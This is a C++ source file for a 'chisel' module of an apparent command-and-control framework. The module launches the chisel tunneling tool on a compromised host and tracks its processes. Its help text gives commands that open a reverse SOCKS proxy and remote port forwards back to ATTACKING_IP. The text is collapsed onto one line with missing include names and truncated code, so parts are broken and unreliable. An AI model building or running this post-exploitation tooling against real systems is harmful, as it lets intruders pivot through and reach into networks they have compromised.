#include "Chisel.hpp" #include #include "Common.hpp" #include "Tools.hpp" using namespace std; constexpr std::string_view moduleName = "chisel"; constexpr unsigned long long moduleHash = djb2(moduleName); #define BUFSIZE 512 namespace { constexpr int ERROR_OPEN_PROCESS = 1; constexpr int ERROR_CREATE_PROCESS = 2; } #ifdef _WIN32 __declspec(dllexport) Chisel* A_ChiselConstructor() { return new Chisel(); } #else __attribute__((visibility("default"))) Chisel* ChiselConstructor() { return new Chisel(); } #endif Chisel::Chisel() #ifdef BUILD_TEAMSERVER : ModuleCmd(std::string(moduleName), moduleHash) #else : ModuleCmd("", moduleHash) #endif { } Chisel::~Chisel() { } std::string Chisel::getInfo() { std::string info; #ifdef BUILD_TEAMSERVER info += "Chisel:\n"; info += "Launch chisel in a thread on the remote server.\n"; info += "No output is provided.\n"; info += "exemple:\n"; info += "- chisel status\n"; info += "- chisel stop pid\n"; info += "Reverse Socks Proxy:\n"; info += "- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:socks\n"; info += "- On the attacking machine: chisel server -p LISTEN_PORT --reverse\n"; info += "Remote Port Forward:\n"; info += "- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:REMOT_PORT\n"; info += "- On the attacking machine: chisel server -p LISTEN_PORT --reverse\n"; #endif return info; } int Chisel::init(std::vector &splitedCmd, C2Message &c2Message) { #if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) if (splitedCmd.size() == 2) { if(splitedCmd[1]=="status") { std::string msg; for(int i=0; i 0) { errorMsg = c2RetMessage.returnvalue(); } #endif return 0; } int Chisel::followUp(const C2Message &c2RetMessage) { int pid = c2RetMessage.pid(); if(pid!=-1) { if(c2RetMessage.cmd()=="stop") { auto it = m_instances.begin(); while(it != m_instances.end()) { std::cout << (*it).first << std::endl; if((*it).first == pid) { it = m_instances.erase(it); } else { it++; } } } else { std::pair inst; inst.first = pid; inst.second = c2RetMessage.cmd(); m_instances.push_back(inst); } } return 0; }